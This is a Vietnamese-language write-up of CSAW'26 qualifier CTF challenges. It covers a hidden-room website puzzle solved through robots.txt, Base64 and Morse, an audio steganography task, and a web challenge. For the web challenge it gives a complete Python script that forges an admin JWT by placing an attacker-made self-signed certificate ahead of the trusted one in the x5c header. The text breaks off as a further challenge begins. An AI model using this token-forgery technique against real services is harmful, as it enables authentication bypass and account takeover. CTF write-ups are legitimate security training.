CSAW' 26 QUALS
8 phút đọc
Misc
House of Hollow Houses
Đề bài
A labyrinth of "hollow" rooms served as a static website — each room links to others, and the flag lies waiting in the sanctum. Players wander the interlinked rooms (and read what the pages are quietly telling them) to find the way in. Hosted service on port 8000.
https://hollow-houses.ctf.csaw.io/
Solution
Trang chủ
Đây là một bài ctf thú vị được giải mã thông qua việc người lần lượt truy cập các đường URL được ẩn giấu trong lời mô tả của trang
Ta nhận thấy đây là một trang web có chứa thông tin về các phòng với các font chữ khác nhau và rất nhiều đường link URL nhằm gây nhiễu user
Trước tiên, ta thử craw các đường dẫn URL của website với
- Googlebot: sử dụng
site:hollow-houses.ctf.csaw.io/.
Không trả về kết quả gì. https://hollow-houses.ctf.csaw.io/sitemap.xmllà một file XML mà website dùng để liệt kê các URL quan trọng của mình, chủ yếu để các search engine như Google/Bing dễ phát hiện và lập chỉ mục.
Kết quả trả về là 404.
Ta quay trở lại với việc làm thủ công và đọc trang web, phát hiện được đoạn văn đáng ngờ The obedient have always been answered first, and the answer issued to them is a catalogue, organised alphabetically, of every place the atrium is not. The catalogue is, by long custom, kept at the front gate, in a small text file the house permits to be read by anyone who knows to ask for it. It is, of course, a complete list.
Trong challenge này có hai dấu hiệu kết hợp:
the obedient
→ gợi đến crawler/bot.at the front gate, in a small text file
→ một file text ở root/front gate.
Vậy ta phải truy cập /robots.txt/
Kẻ phục tùng (The obedient)
với robots.txt là một file chuẩn đặt ở root của website: https://hollow-houses.ctf.csaw.io/robots.txt
Kết quả trả về:
User-agent: *
Disallow: /atrium/
# the obedient have been answered.Vì ở đây Disallow: /atrium/ chứng tỏ rằng /atrium/ là 1 đường dẫn URL quan trọng, ta đã tìm được căn phòng tiếp theo
-> Ta truy cập đường dẫn /atrium/
Giếng trời (Atrium)
<p>
<span class="h">O</span>
ften the visitors look only at what shines. They are escorted, gently, back to the threshold, and the house arranges for them to remember nothing of the visit.
</p>
<p>
<span class="h">S</span>
ometimes a word holds another word inside it, the way a coffin holds a coffin, the way a room holds a room.
</p>
<p>
<span class="h">S</span>
elect what you cannot see. This is the instruction the house gives most often, and which the visitors most often decline.
</p>
<p>
<span class="h">U</span>
nder every floor is a floor. Under that floor is a name. Under the name is the person the name once belonged to.
</p>
<p>
<span class="h">A</span>
sk the room what it is, and the room, on a good day, will tell you. Ask politely. Ask in lower case.
</p>
<p>
<span class="h">R</span>
ooms are not buildings. Rooms are sentences. You are reading one now.
</p>
<p>
<span class="h">Y</span>
ou are nearly through. The next chamber is named for what we keep when there is nothing else left.
</p>Ta thấy chữ cái đầu tiên của mỗi dòng đều được cố ý làm mờ gần với màu tường rất đáng ngờ
-> Ta truy cập đường dẫn /ossuary/
Nơi chôn cất (Ossuary)
Trang này có chứa một đoạn mật mã khó hiểu và đáng ngờ ở giữa trang
d2hhdCB0aGUgbWlycm9yIHNlZXMsIHRoZSBtaXJyb3Iga2VlcHM=
Ngoài ra còn có gợi ý về cách giải mã ở cuối
sixty-four letters in the alphabet of refusal. one room in the answer.
Ta liền nghĩ đến ngay Base 64
Truy cập CyberChef và thử decode đoạn mật mã này

Trong trang đã nói rất rõ về chỉ dẫn đến căn phòng tiếp theo:
The rite, on decoding, is a sentence. The sentence contains a noun. The noun is the name of the next room.
Mà ở trong câu what the mirror sees, the mirror keeps có noun chính là mirror
-> Ta truy cập đường dẫn /mirror/
Chiếc gương (Mirror)
Ở trang này tất cả các chữ cái đều bị lật ngược lại
Vì vậy ta đọc source để xem thông tin của trang, nhận thấy trang này đã chỉ rõ room tiếp theo
<p>
The next chamber is called the
<a href="/wellspring/">wellspring</a>.
It lies beneath this one, in a sense that has nothing to do with elevation.
Knock once, in lower case. Enter.
Do not speak above the water.
</p>-> Ta truy cập đường dẫn /wellspring/
Suối nguồn (Wellspring)
Khi xem trang, ta nhận thấy mỗi dòng câu đều có những khoảng cách kì lạ và có tần suất lặp lại riêng biệt
Ta liên tưởng đến mật mã Morse:
- Trong mỗi dòng:
- 1 space giữa hai từ →
. - 3 spaces →
-
- 1 space giữa hai từ →
- Mỗi dòng tương ứng với một ký tự Morse
- Dòng trống → ngăn cách các từ
Decode toàn bộ ta thu được kết quả sau
THE FLAG LIES WAITING IN THE SANCTUM
Ta truy cập đường dẫn /sanctum/
Thánh địa (Sanctum)
Đến trang này thì ta thu được flag:
csaw{w4nd3r3r_0f_th3_h0ll0w_h0us3}
Funfact: đề bài đã mô tả rằng flag nằm ở
sanctum.
"the flag lies waiting in the sanctum"
12345678!
Đề bài
listen....when you find the answer it will glisten.....
File: 12345678.wav
Solution
Ta sử dụng Audacity để mở file

Ta duplicate và đổi track visualization thành spectrogram để kiểm tra

Phát hiện được đoạn mật mã sau: dV9uMzNkXw==

Ta dễ dàng nhận ra đây là đoạn mã được Base64 encode. Sau khi decode ta thu được: u_n33d_

Sau đó, lắng nghe đoạn audio và nhận ra
đoạn âm thanh từ 3s->22s nghe như âm thanh bị reverse
Sau khi reverse thì có file 12345678_reversed.wav sau
Ta nghe được có người nói rằng: “2 parts 1n_0rd3r_”
Kiểm tra metadata của file thì ta có được chuỗi Base64-encoded khác

Decode ta có được: 2_5t3@1_
Sau khi tìm ra 3 phần của flag thì ta thấy ở mỗi phần đều có _ ở cuối nên chứng tỏ vẫn chưa kết thúc
Ta thử amplify file gốc và nhận thấy từ 25s->35s có người nói gì đó nhưng với pitch rất cao
Ta giảm pitch của đoạn đó xuống thu được file 12345678bit và nghe ra 2_f1nd
Vậy là đã tìm được phần kết thúc, giờ ta phải ghép lại thành câu có nghĩa
-> Flag: csaw{1n_0rd3r_2_5t3@1_u_n33d_2_f1nd}
Web
TrustDinOIDC
Đề bài
TrustDinOIDC sells dinosaur posters to anyone who can prove they're logged in. The Flagosaurus print is for admins only.
https://dino2auth.ctf.csaw.io/
Solution
Truy cập website, ta có giao diện sau và có thể login vào 1 trong 2 provider

Ta thử login thông qua cả 1 provider và lấy về JWT của provider đó, sau đó decode bằng JWT decoder:
Ta thử với strataid:
Spoiler
Ta có JWT (Json Web Token), decode được:
Header:
{
"alg": "RS256",
"typ": "JWT",
"x5c":
[ "MIICyjCCAbKgAwIBAgIUbCHTqaYloj+/94bnREhCnTfWSbcwDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUc3RyYXRhaWQuZXhhbXBsZS5jb20wHhcNMjYwOTIwMTcwOTEzWhcNMjcwOTIwMTcwOTEzWjAfMR0wGwYDVQQDDBRzdHJhdGFpZC5leGFtcGxlLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKzTVY2FTb+5805ipIC+HMT3TucM1ou6jRCdnJtTF/Vx8gKT4KoIkyMHDqbos7WDkNB2o2rw2uxyLpPybSd5JCGdqkLgijGclh4EiWXI+gZHqwG7ekpn0Ocxd1AvavUy/Q73dJFsQ9RnyTGjA242luDlBNQ/TXWv+WerHnGPDGrMTuOKp0ogKd9y/LVDWq3O+UXOtuUL0s/LDTf/Gev/MjLX7/K/c5GARuJI7s3lvfkWL2zo3qexIiEMBzAWYPbq7wSd5TgRGxbzXEudju6a/5GV+xhLdiDCUYg+rzbxq8WkUGc1QV7um5VyAAcVgYH3HgUwxkME9kFEg0JCnyrx8a0CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAGBIx/hyXqVsYus2tajYevQhk0GqNY9uAgP2uoLqbDM6VYmg9t3Gm9qlewcMXlO9A3WbuUlnIno1YhlRGsdiN5D9H2Vx4e598cBBrs2Gc715lUUBD+dG1+nVg+BKR0ESeSTZlr//WAae8oRrIuWPDxh9G3Uu++p1tSNHzlFch0VcXJtfZFPIqe780x4P/WR522MNHomw+ORUw2j4Fi+HZg5CvT+zFThEiyLCqhfCFWEU7QGHkIRFwJj5J7TQfFNGiv7EuWWiXfNds3Z7MJJGzYeXti5g2dk8zmndD8XqqT3UFnZNvaDYGtJAa8txl1u52mSUVoLlENkygKqsmTfdrEA=="
]
}Payload:
{
"iss": "strataid.example.com",
"sub": "guest",
"aud": "trustdinoidc-portal",
"scope": "openid profile freeosaurus:redeem",
"exp": 1790129062
}Signature verification: Public Key
{
"e": "AQAB",
"kty": "RSA",
"n": "rNNVjYVNv7nzTmKkgL4cxPdO5wzWi7qNEJ2cm1MX9XHyApPgqgiTIwcOpuiztYOQ0HajavDa7HIuk_JtJ3kkIZ2qQuCKMZyWHgSJZcj6BkerAbt6SmfQ5zF3UC9q9TL9Dvd0kWxD1GfJMaMDbjaW4OUE1D9Nda_5Z6secY8MasxO44qnSiAp33L8tUNarc75Rc625QvSz8sNN_8Z6_8yMtfv8r9zkYBG4kjuzeW9-RYvbOjep7EiIQwHMBZg9urvBJ3lOBEbFvNcS52O7pr_kZX7GEt2IMJRiD6vNvGrxaRQZzVBXu6blXIABxWBgfceBTDGQwT2QUSDQkKfKvHxrQ"
}Để lấy được flag trong flagosaurus, ta cần có quyền admin
-> cần phải chuyển từ "sub": "guest"-> "sub": "admin"
-> Tạo JWT giả và chèn payload "sub":"admin"
Vậy ta sẽ muốn tạo 1 JWT chứa payload của attacker
Trong JWT có "x5c":[certificate], với x5c viết tắt cho X.509 certificate.
Để đọc được thông tin của X.509 certificate, ta cần phải decode từ Base64-> DER và đọc DER
Dùng OpenSSL:
# base64_x5c → DER
echo 'BASE64_X5C' | base64 -d > cert.der
# DER → đọc X.509
openssl x509 -inform DER -in cert.der -text -nooutTa decode certificate của strataid thu được
Certificate
├── Version
│ └── v3
├── Serial Number
│ └── 0x6c21d3a9a625a23fbff786e74448429d37d649b7
├── Subject
│ └── CN=strataid.example.com
├── Issuer
│ └── CN=strataid.example.com
├── Validity
│ ├── Not Before: 2026-09-20 17:09:13 UTC
│ └── Not After : 2027-09-20 17:09:13 UTC
├── Public Key
│ ├── Type: RSA
│ ├── Size: 2048 bits
│ └── Exponent: 65537
└── Certificate Signature
└── SHA256 + RSA=> Nhận thấy issuer==subject
=> Certificate này khai Strataid là đối tượng được cấp và cũng là bên cấp, là một dấu hiệu đáng ngờ của self-signed certificate
Muốn xác nhận cryptographically, ta cần kiểm tra certificate có thể tự verify bằng chính public key của nó hay không.
Để kiểm tra certificate có tự kí không, ta cần phải chuyển từ DER về PEM và verify
# DER → PEM
openssl x509 -inform DER -in cert.der -out cert.pem
# Verify
openssl verify -CAfile cert.pem cert.pem.Thu được cert.pem: OK, vậy ta biết đây là một self-signed certificate
Certificate của provider là self-signed, cho thấy hệ thống có thể sử dụng một trust model không dựa trên chuỗi CA bên ngoài thông thường. Vì vậy, một hướng điều tra hợp lý là thử tạo một self-signed certificate với key pair do attacker kiểm soát.
Sau đó tạo JWT giả và kí với private key mà attacker kiểm soát
Sau khi thử nhập JWT với headers={"x5c": [attacker_cert]} mà không có trusted cert, Nhận thấy web vẫn coi ta chưa login
Điều này cho thấy: JWT signature = hợp lệ
nhưng: attacker certificate = chưa được server trust
=> Vấn đề không nằm ở cryptography mà nằm ở trust validation.
Ta chỉnh lại solve.py
x5c
├── attacker certificate
│ ↓
│ attacker public key
│ ↓
│ verify JWT
│
└── trusted certificate
↓
server đánh dấu trusted->Flag: csaw{str4ta_sk1pped_th3_p1n}

Code đầy đủ solve:
import base64
import datetime
import json
import re
from pathlib import Path
import jwt
import requests
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
BASE = "https://dino2auth.ctf.csaw.io"
HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
}
def get_idp_cert(provider):
r = requests.get(
f"{BASE}/idp/{provider}/authorize",
params={
"client_id": "trustdinoidc-portal",
"redirect_uri": f"{BASE}/oauth/callback",
"scope": "openid profile freeosaurus:redeem",
"state": "solve",
},
headers=HEADERS,
timeout=15,
)
token = re.search(r'name="id_token" value="([^"]+)', r.text).group(1)
header = json.loads(base64.urlsafe_b64decode(token.split(".")[0] + "=="))
return header["x5c"][0]
def make_attacker_cert(key, issuer):
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, issuer)])
cert = (
x509.CertificateBuilder()
.subject_name(name)
.issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(minutes=1))
.not_valid_after(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365))
.sign(key, hashes.SHA256())
)
return base64.b64encode(cert.public_bytes(serialization.Encoding.DER)).decode()
issuer = "strataid.example.com"
trusted_cert = get_idp_cert("strataid")
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
attacker_cert = make_attacker_cert(key, issuer)
claims = {
"iss": issuer,
"sub": "admin",
"aud": "trustdinoidc-portal",
"scope": "openid profile freeosaurus:redeem flagosaurus:redeem",
"exp": int(datetime.datetime.now(datetime.timezone.utc).timestamp()) + 3600,
}
token = jwt.encode(
claims,
key,
algorithm="RS256",
headers={"x5c": [attacker_cert, trusted_cert]},
)
Path("session-cookie.txt").write_text(token + "\n")
page = requests.get(
f"{BASE}/",
headers=HEADERS,
cookies={"session": token},
timeout=15,
)
page.raise_for_status()
flag = re.search(r"[A-Za-z0-9_]+\{[^{}]+\}", page.text)
if not flag:
raise RuntimeError("flag not found")
path = Path("flag.txt")
if not path.exists():
path.write_text(flag.group(0) + "\n")
print("flag saved to flag.txt")
else:
print("flag.txt already exists; not overwritten")
print("fresh cookie saved to session-cookie.txt")Golf heist
Đề bài
Avispa Country Club is where old money like Woozie and Ryder think their vault is untouchable. But the caddy carries everything for them - keys, secrets, headers... and he doesn't check what's in the bag.
Word is, there's a Golden Putter in that vault. One of one. All you have to do is find the right numbers, speak the right words, and let the caddy do the rest - the caddy always does.
https://golf-heist.ctf.csaw.io/
File: golf-heist.zip